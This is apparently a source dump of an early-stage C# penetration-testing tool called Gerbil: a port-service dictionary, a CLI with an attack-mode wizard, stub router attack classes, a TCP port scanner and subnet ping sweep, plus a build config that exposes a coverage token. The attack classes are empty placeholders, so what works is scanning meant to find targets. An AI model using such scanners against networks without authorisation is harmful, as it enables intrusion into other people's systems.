103 | //File could not be deleted, ignore for now.
104 | }
105 | }
106 | ///
107 | /// Populates the known services dictionary with a list of IANA-registered network services.
108 | ///
109 | public static void initServices()
110 | {
111 | createService("Echo", 7);
112 | createService("WOL", 9);
113 | createService("QuoteOfTheDay", 17);
114 | createService("FTP", 20);
115 | createService("FTP", 21);
116 | createService("SSH", 22);
117 | createService("Telnet", 23);
118 | createService("SMTP", 25);
119 | createService("WINS", 42);
120 | createService("WHOIS", 43);
121 | createService("DNS", 53);
122 | createService("BOOTP", 67);
123 | createService("BOOTP", 68);
124 | createService("TFTP", 69);
125 | createService("HTTP", 80);
126 | createService("HTTPS", 81);
127 | createService("POP3", 110);
128 | createService("IDENT", 113);
129 | createService("NTP", 123);
130 | createService("RPC", 135);
131 | createService("NETBIOS", 137);
132 | createService("NETBIOS", 138);
133 | createService("NetLogon", 138);
134 | createService("NETBIOS", 139);
135 | createService("IMAP", 143);
136 | createService("SQL", 156);
137 | createService("SNMP", 161);
138 | createService("SNMPTRAP", 162);
139 | createService("LDAP", 389);
140 | createService("SMB", 445);
141 | createService("CIFS", 445);
142 | createService("NetLogonR", 445);
143 | createService("SamR", 445);
144 | createService("SvrSvc", 445);
145 | createService("LPD", 515);
146 | createService("IPP", 631);
147 | createService("iSCSI", 3260);
148 | }
149 | ///
150 | /// Gerbil service launcher handler method.
151 | ///
152 | /// Launch arguments.
153 | public static void launch(params string[] args)
154 | {
155 | if(args[1] == "add")
156 | {
157 | createService(args[2], Convert.ToInt32(args[3]));
158 | }
159 | else if(args[1] == "remove")
160 | {
161 | removeService(args[2], Convert.ToInt32(args[3]));
162 | }
163 | else if(args[1] == "restore")
164 | {
165 | initServices();
166 | }
167 | }
168 | }
169 | }
170 | }
171 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using Gerbil.IO;
4 |
5 | namespace Gerbil
6 | {
7 | class Gerbil_Core
8 | {
9 | ///
10 | /// Entry point of program. Handles initial initialization and CLI/arg mode redirects.
11 | ///
12 | /// Command line arguments.
13 | static void Main(string[] args)
14 | {
15 | Out.writeln("Gerbil v0.1.0 Alpha");
16 | Out.writeln("Copyright 2015 under the GPL V3 License");
17 | Out.writeln("NETponents or its authors assume no responsibility for this program or its actions.");
18 | Out.writeln("Starting up...");
19 | if (Directory.Exists(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil")))
20 | {
21 | Out.writeln("Found AI temp storage folder.");
22 | }
23 | else
24 | {
25 | Directory.CreateDirectory(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "ports", "services"));
26 | Gerbil_PortServices.PortLookup.initServices();
27 | }
28 | //TODO: initialize settings file
29 | if (args.Length > 0)
30 | {
31 | cliLaunch(args);
32 | Environment.Exit(0);
33 | }
34 | else
35 | {
36 | while (true)
37 | {
38 | string input = In.prompt("Gerbil", '>');
39 | cliLaunch(input.Split());
40 | }
41 | }
42 | }
43 | ///
44 | /// Launches a Gerbil service.
45 | ///
46 | /// Launch arguments.
47 | private static void cliLaunch(params string[] input)
48 | {
49 | switch (input[0])
50 | {
51 | case "exit":
52 | Environment.Exit(0);
53 | break;
54 | case "config":
55 | //TODO: forward config command
56 | break;
57 | case "portservice":
58 | Gerbil_PortServices.PortLookup.launch(input);
59 | break;
60 | case "start":
61 | startAttack();
62 | break;
63 | case "help":
64 | Out.writeln("Common Gerbil CLI commands:");
65 | Out.writeln("'start' - Switch program from CLI to attack mode.");
66 | Out.writeln("'config' - NOT IMPLEMENTED.");
67 | Out.writeln("'portservice add|remove SERVICE PORTNUMBER' - Adds or removes services to the port conversion dictionary.");
68 | Out.writeln("'portservice restore' - Resets the port conversion dictionary to it's default listings.");
69 | Out.writeln("'about' - Prints information about current instance of Gerbil.");
70 | Out.writeln("'attack ipaddress attacktype' - Attacks a device using a specific attack mode. (NOT RECOMMENDED)");
71 | Out.writeln("'exit' - Closes the Gerbil CLI.");
72 | break;
73 | case "about":
74 | Out.writeln("Gerbil v0.0.1 alpha");
75 | Out.writeln("Development release");
76 | Out.writeln("Engine: Gerbil v0.1a");
77 | Out.writeln("Version: GitHub DRv0.0.1a");
78 | Out.writeln("Copyright 2015 NETponents under GPL V3 License.");
79 | break;
80 | default:
81 | Out.writeln("ERROR: Command not found.");
82 | break;
83 | }
84 | }
85 | ///
86 | /// Launches wizard that retrieves attack options, then launches appropriate attack mode.
87 | ///
88 | private static void startAttack()
89 | {
90 | int mode = In.menu("Modes", "All", "IP", "IP + Port", "IP + Port Range", "Training");
91 | switch(mode)
92 | {
93 | case 0:
94 | string subnet = In.prompt("Target subnet (x|y|z Ex: 192.168.1.xxx 10.zz.yy.xxx)");
95 | int timeout = In.prompt("Max timeout for ping");
96 | AttackMethods.begin_auto(subnet, timeout);
97 | break;
98 | case 1:
99 | string ip = In.prompt("Target IP address");
100 | int timeout2 = In.prompt("Max timeout for ping");
101 | AttackMethods.begin(ip, timeout2);
102 | break;
103 | case 2:
104 | string ip2 = In.prompt("Target IP address");
105 | int port = In.prompt("Target port");
106 | int timeout5 = In.prompt("Max timeout for ping");
107 | AttackMethods.begin(ip2, port, timeout5);
108 | break;
109 | case 3:
110 | string ip3 = In.prompt("Target IP address");
111 | int porta = In.prompt("Start port");
112 | int portb = In.prompt("End port");
113 | int timeout3 = In.prompt("Max timeout for ping");
114 | AttackMethods.begin(ip3, porta, portb, timeout3);
115 | break;
116 | case 4:
117 | string ip4 = In.prompt("Target IP address");
118 | int porta2 = In.prompt("Start port");
119 | int portb2 = In.prompt("End port");
120 | int timeout4 = In.prompt("Max timeout for ping");
121 | AttackMethods.begin(ip4, porta2, portb2, timeout4, true);
122 | break;
123 | case 5:
124 | Out.writeln("Attack canceled.");
125 | break;
126 | default:
127 | Out.writeln("ERROR: Unrecognized option.");
128 | break;
129 | }
130 | }
131 | }
132 | }
133 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Gerbil")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Gerbil")]
13 | [assembly: AssemblyCopyright("Copyright © 2015")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("6a231ac0-87dd-4090-ba1b-f0ff2d84835a")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Gerbil
2 | [](https://gitter.im/NETponents/Gerbil?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
3 | [](https://ci.appveyor.com/project/ARMmaster17/gerbil)
4 | [](https://codecov.io/github/NETponents/Gerbil?branch=dev)
5 | [](https://overv.io/workspace/ARMmaster17/perfect-chimpanzee/)
6 | [](http://issuestats.com/github/NETponents/Gerbil)
7 | [](http://issuestats.com/github/NETponents/Gerbil)
8 | [](http://gratipay.com/~ARMmaster17)
9 |
10 | ## What is it?
11 | Gerbil is an automated hacking tool powered by a trainable AI engine. It was originally designed to be an automated network penetration tester by scanning your network for weak points. When it does find a weak point, it will use previous experience to decide how to attack the server.
12 |
13 | [Read more >](http://github.com/NETponents/Gerbil/wiki)
14 |
15 | ## Project State
16 | Gerbil is still in it's early stages. Right now it's just a fancy network scanner. If you have experience in C#, feel free to contribute to help speed up development!
17 |
18 | [Read more >](http://github.com/NETponents/Gerbil/wiki/Project-State)
19 |
20 | ## System requirements
21 | Doesn't matter if you have a Cray supercomputer or a potato. If it can run .NET 4.5, you are good to go.
22 |
23 | [Read more >](http://github.com/NETponents/Gerbil/wiki/System-Requirements)
24 |
25 | ## Download
26 | To get Gerbil, `git clone` this repository to your hard drive. From there, open up *~/Gerbil/Gerbil.sln* Using Visual Studio 2012 or later. Compile the project using the **Release** build profile. After which, check the *~/Gerbil/bin/release* folder and run *gerbil.exe*.
27 |
28 | Binary releases are available with each push to the *stable* branch.
29 |
30 | [Read more >](http://github.com/NETponents/Gerbil/wiki/Download)
31 |
32 | ## Use
33 | Gerbil uses a custom CLI. See the project wiki on the right-hand side for CLI command usage.
34 |
35 | [Read more >](http://github.com/NETponents/Gerbil/wiki/CLI-Commands)
36 |
37 | ## Helpful addons
38 | - [GerbilBRCS](https://github.com/NETponents/GerbilBRCService): Remote control software for large-scale Gerbil attack
39 |
40 | ## Want to contribute?
41 |
42 | See our [contributing guidelines](http://github.com/NETponents/Gerbil/tree/dev/CONTRIBUTING.md).
43 |
44 | ## Obvious Legal Disclaimer
45 | Since this is technically a "hacking tool", NETponents, @ARMmaster17, or any other contributers cannot be held liable for actions taken by this software on either your own or someone elses network. We reccommend testing Gerbil on a protected private lab network since Gerbil does posses tools to potentially wipe/modify network computer hard disks.
46 |
47 | [Read more >](http://github.com/NETponents/Gerbil/wiki/Legal-Disclaimer)
48 |
--------------------------------------------------------------------------------
/Ringleaders.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Net;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace Gerbil
9 | {
10 | namespace Ringleaders
11 | {
12 | ///
13 | /// Template class for stab attack managers
14 | ///
15 | public partial class Ringleader
16 | {
17 | protected IPAddress target;
18 | protected int devicePort;
19 |
20 | ///
21 | /// Constructor for Ringleader class
22 | ///
23 | /// IP address of target
24 | public Ringleader(IPAddress attackPoint)
25 | {
26 | target = attackPoint;
27 | }
28 | ///
29 | /// Constructor for Ringleader class
30 | ///
31 | /// IP address of target
32 | public Ringleader(string attackPoint)
33 | {
34 | target = IPAddress.Parse(attackPoint);
35 | }
36 | ///
37 | /// Constructor for Ringleader class
38 | ///
39 | /// IP address of target
40 | /// Port to attack
41 | public Ringleader(IPAddress attackPoint, int port)
42 | {
43 | target = attackPoint;
44 | devicePort = port;
45 | }
46 | ///
47 | /// Constructor for Ringleader class
48 | ///
49 | /// IP address of target
50 | /// Port to attack
51 | public Ringleader(string attackPoint, int port)
52 | {
53 | target = IPAddress.Parse(attackPoint);
54 | devicePort = port;
55 | }
56 | ///
57 | /// Launches a stab attack
58 | ///
59 | /// Parameters to pass to the ringleader
60 | /// Status value
61 | public virtual int Attack(params string[] args)
62 | {
63 | return 0;
64 | }
65 | }
66 | namespace Routers
67 | {
68 | ///
69 | /// Stab attack manager for attacking consumer-grade routers
70 | ///
71 | public class DumbRouterRingleader : Ringleader
72 | {
73 | ///
74 | /// Public constructor for DumbRouterRingleader class
75 | ///
76 | /// IP address of router to attack
77 | public DumbRouterRingleader(string target)
78 | : base(target)
79 | {
80 | // TODO: probe router to confirm that it exists
81 | }
82 | ///
83 | /// Public constructor for DumbRouterRingleader class
84 | ///
85 | /// IP address of router to attack
86 | public DumbRouterRingleader(IPAddress target)
87 | : base(target)
88 | {
89 | // TODO: probe router to confirm that it exists
90 | }
91 | public override int Attack(params string[] args)
92 | {
93 | // TODO: comb HTTP response
94 | // TODO: Initialize password cracker
95 | return base.Attack(args);
96 | }
97 | }
98 | }
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/Scanners.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net.NetworkInformation;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using System.Net.Sockets;
8 | using System.Net;
9 | using Gerbil;
10 | using Gerbil.IO;
11 |
12 | namespace Gerbil
13 | {
14 | namespace Gerbil_Scanners
15 | {
16 | class PortScanner
17 | {
18 | ///
19 | /// Scans a target on a specified port range for open TCP listeners.
20 | ///
21 | /// IP address or relative hostname to target.
22 | /// Port to start scanning on.
23 | /// Port to stop scanning on.
24 | /// Array of open ports with active TCP listeners.
25 | public static int[] scan(string target, int startport, int endport, int timeout)
26 | {
27 | List openports = new List();
28 | for (int i = startport; i <= endport; i++)
29 | {
30 | if(scan(target, i, timeout))
31 | {
32 | openports.Add(i);
33 | }
34 | }
35 | return openports.ToArray();
36 | }
37 | ///
38 | /// Scans a target on a specific port for an open TCP listener.
39 | ///
40 | /// IP address or relative hostname to target.
41 | /// Port to scan.
42 | /// TCP listener found.
43 | public static bool scan(string target, int port, int timeout)
44 | {
45 | TcpClient TcpScan = new TcpClient();
46 | TcpScan.SendTimeout = timeout;
47 | try
48 | {
49 | // Try to connect
50 | TcpScan.Connect(target, port);
51 | // If there's no exception, we can say the port is open
52 | return true;
53 | }
54 | catch
55 | {
56 | // An exception occured, thus the port is probably closed
57 | return false;
58 | }
59 | finally
60 | {
61 | TcpScan.Close();
62 | }
63 | }
64 | }
65 | class NetworkScanner
66 | {
67 | ///
68 | /// [Obsolete] Scans the network for online devices on the specified subnet.
69 | ///
70 | /// Subnet to scan. (Ex: 192.168.1.)
71 | /// IP addresses of found devices.
72 | public static string[] getDevices(string subnet, int timeout)
73 | {
74 | List devices = new List();
75 | for(int i = 1; i < 255; i++)
76 | {
77 | Ping pinger = new Ping();
78 | PingReply reply = pinger.Send(subnet + i, timeout);
79 | if(reply.Status != IPStatus.TimedOut)
80 | {
81 | devices.Add(subnet + i);
82 | Out.writeln("Found device: " + subnet + i);
83 | }
84 | }
85 | return devices.ToArray();
86 | }
87 | ///
88 | /// Scans the network for online devices on the specified subnet.
89 | ///
90 | /// Subnet to scan. (Ex: 192.168.1.x)
91 | /// IP addresses of found devices.
92 | public static string[] getDevices(string subnet, int timeout, int fieldMax)
93 | {
94 | List devices = new List();
95 | for (int i = 1; i < fieldMax; i++)
96 | {
97 | Ping pinger = new Ping();
98 | PingReply reply;
99 | bool failed = false;
100 | bool timedOut = false;
101 | try
102 | {
103 | reply = pinger.Send(subnet.Replace("x",i.ToString()), timeout);
104 | timedOut = (reply.Status == IPStatus.TimedOut);
105 | }
106 | catch
107 | {
108 | // Ping error, subnet does not exist.
109 | failed = true;
110 | }
111 | if (!failed)
112 | {
113 | if (!timedOut)
114 | {
115 | devices.Add(subnet.Replace("x", i.ToString()));
116 | IO.Out.writeln("Found device: " + subnet.Replace("x", i.ToString()));
117 | }
118 | }
119 | }
120 | return devices.ToArray();
121 | }
122 | private static bool isLocalAddress(string ipAddress)
123 | {
124 | //IP comparison
125 | bool result = false;
126 | //IP comparison
127 | String strHostName = string.Empty;
128 | // Getting Ip address of local machine...
129 | // First get the host name of local machine.
130 | strHostName = Dns.GetHostName();
131 | Console.WriteLine("Local Machine's Host Name: " + strHostName);
132 | // Then using host name, get the IP address list..
133 | IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
134 | IPAddress[] addr = ipEntry.AddressList;
135 |
136 | for (int i = 0; i < addr.Length; i++)
137 | {
138 | if(addr[i].ToString() == ipAddress)
139 | {
140 | result = true;
141 | }
142 | }
143 | return result;
144 | }
145 | private static bool isLocalAddress(IPAddress ipAddress)
146 | {
147 | bool result = false;
148 | //IP comparison
149 | String strHostName = string.Empty;
150 | // Getting Ip address of local machine...
151 | // First get the host name of local machine.
152 | strHostName = Dns.GetHostName();
153 | Console.WriteLine("Local Machine's Host Name: " + strHostName);
154 | // Then using host name, get the IP address list..
155 | IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
156 | IPAddress[] addr = ipEntry.AddressList;
157 |
158 | for (int i = 0; i < addr.Length; i++)
159 | {
160 | if(addr[i] == ipAddress)
161 | {
162 | result = true;
163 | }
164 | }
165 | return result;
166 | }
167 | }
168 | }
169 | }
170 |
--------------------------------------------------------------------------------
/appveyor.yml:
--------------------------------------------------------------------------------
1 | # Notes:
2 | # - Minimal appveyor.yml file is an empty file. All sections are optional.
3 | # - Indent each level of configuration with 2 spaces. Do not use tabs!
4 | # - All section names are case-sensitive.
5 | # - Section names should be unique on each level.
6 |
7 | #---------------------------------#
8 | # general configuration #
9 | #---------------------------------#
10 |
11 | # version format
12 | # version: 1.0.{build}
13 |
14 | # you can use {branch} name in version format too
15 | version: 0.1.{build}-{branch}
16 |
17 | # branches to build
18 | branches:
19 | # whitelist
20 | only:
21 | - stable
22 | - beta
23 | - nightly
24 | - dev
25 |
26 | # Do not build on tags (GitHub only)
27 | skip_tags: true
28 |
29 | #---------------------------------#
30 | # environment configuration #
31 | #---------------------------------#
32 |
33 | # Operating system (build VM template)
34 | os: Windows Server 2012
35 |
36 | # scripts that are called at very beginning, before repo cloning
37 | init:
38 | - git config --global core.autocrlf input
39 |
40 | # clone directory
41 | clone_folder: c:\projects\myproject
42 |
43 | # fetch repository as zip archive
44 | shallow_clone: true # default is "false"
45 |
46 | # set clone depth
47 | clone_depth: 5 # clone entire repository history if not defined
48 |
49 | # environment:
50 | # global:
51 | # connection_string: server=12;password=13;
52 | # service_url: https://127.0.0.1:8090
53 | #
54 | # matrix:
55 | # - db: mysql
56 | # provider: mysql
57 | #
58 | # - db: mssql
59 | # provider: mssql
60 | # password:
61 | # secure: $#(JFDA)jQ@#$
62 |
63 | # Automatically register private account and/or project AppVeyor NuGet feeds.
64 | nuget:
65 | account_feed: true
66 | project_feed: true
67 | disable_publish_on_pr: true # disable publishing of .nupkg artifacts to
68 | # account/project feeds for pull request builds
69 |
70 | #---------------------------------#
71 | # build configuration #
72 | #---------------------------------#
73 |
74 | # build platform, i.e. x86, x64, Any CPU. This setting is optional.
75 | #platform: Any CPU
76 |
77 | # to add several platforms to build matrix:
78 | platform:
79 | - Any CPU
80 |
81 | # build Configuration, i.e. Debug, Release, etc.
82 | #configuration: Release
83 |
84 | # to add several configurations to build matrix:
85 | configuration:
86 | - Debug
87 | - Release
88 |
89 | before_build:
90 | - nuget restore
91 |
92 | build:
93 | parallel: true # enable MSBuild parallel builds
94 | project: Gerbil.sln # path to Visual Studio solution or project
95 |
96 | # MSBuild verbosity level
97 | verbosity: normal
98 |
99 | # to disable automatic builds
100 | #build: off
101 |
102 | #---------------------------------#
103 | # tests configuration #
104 | #---------------------------------#
105 |
106 | #test:
107 | # assemblies:
108 | # - asm1.dll
109 | # - asm2.dll
110 |
111 | # categories:
112 | # - UI
113 | # - E2E
114 |
115 | # to run tests from different categories as separate jobs in parallel
116 | #test:
117 | # categories:
118 | # - A # A category common for all jobs
119 | # - [UI] # 1st job
120 | # - [DAL, BL] # 2nd job
121 |
122 | # scripts to run before tests
123 | #before_test:
124 | # - echo script1
125 | # - ps: Write-Host "script1"
126 |
127 | # scripts to run after tests
128 | after_test:
129 | - .\packages\OpenCover.4.6.166\tools\OpenCover.Console.exe -register:user -target:"C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\MSTest.exe" -targetargs:"/noresults /noisolation /testcontainer:"".\GerbilTest\bin\Debug\GerbilTest.dll" -filter:"" -excludebyattribute:*.ExcludeFromCodeCoverage* -hideskipped:All -output:.\MyProject_coverage.xml
130 | - "SET PATH=C:\\Python34;C:\\Python34\\Scripts;%PATH%"
131 | - pip install codecov
132 | - codecov -f "MyProject_coverage.xml" -t "43fa8e8a-43eb-4e4c-a63e-6d4602b1263f"
133 | # - codecov
134 | # to run your custom scripts instead of automatic tests
135 | #test_script:
136 |
137 | # to disable automatic tests
138 | #test: off
139 |
140 |
141 | #---------------------------------#
142 | # artifacts configuration #
143 | #---------------------------------#
144 |
145 | #artifacts:
146 | #
147 | # # pushing a single file
148 | # - path: bin
149 |
150 | #---------------------------------#
151 | # deployment configuration #
152 | #---------------------------------#
153 |
154 | # providers: Local, FTP, WebDeploy, AzureCS, AzureBlob, S3, NuGet, Environment
155 | # provider names are case-sensitive!
156 | deploy:
157 |
158 | # Deploy to GitHub Releases
159 | - provider: GitHub
160 | artifact: /.*\.nupkg/ # upload all NuGet packages to release assets
161 | draft: true
162 | prerelease: false
163 | on:
164 | branch: stable # release from master branch only
165 | appveyor_repo_tag: true # deploy on tag push only
166 |
--------------------------------------------------------------------------------